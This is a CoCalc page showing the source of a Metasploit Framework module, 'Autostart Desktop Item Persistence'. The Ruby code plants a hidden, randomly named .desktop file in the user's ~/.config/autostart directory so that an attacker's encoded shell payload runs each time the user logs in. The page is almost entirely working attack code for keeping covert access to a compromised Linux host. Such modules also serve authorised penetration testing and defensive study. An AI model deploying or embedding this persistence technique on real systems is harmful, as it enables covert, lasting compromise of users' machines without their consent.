CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/autostart_persistence.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Autostart Desktop Item Persistence',
15
'Description' => %q(
16
This module will create an autostart entry to execute a payload.
17
The payload will be executed when the users logs in.
18
),
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Eliott Teissonniere' ],
21
'Platform' => [ 'unix', 'linux' ],
22
'Arch' => ARCH_CMD,
23
'Payload' => {
24
'BadChars' => '#%\n"',
25
'Compat' => {
26
'PayloadType' => 'cmd',
27
'RequiredCmd' => 'generic python netcat perl'
28
}
29
},
30
'SessionTypes' => [ 'shell', 'meterpreter' ],
31
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
32
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
33
'Targets' => [ ['Automatic', {}] ],
34
'DefaultTarget' => 0
35
))
36
37
register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
38
end
39
40
def exploit
41
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
42
43
home = cmd_exec('echo ~')
44
45
path = "#{home}/.config/autostart/#{name}.desktop"
46
47
print_status('Making sure the autostart directory exists')
48
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
49
50
print_status("Uploading autostart file #{path}")
51
52
write_file(path, [
53
"[Desktop Entry]",
54
"Type=Application",
55
"Name=#{name}",
56
"NoDisplay=true",
57
"Terminal=false",
58
"Exec=/bin/sh -c \"#{payload.encoded}\""
59
].join("\n"))
60
end
61
end
62
63
64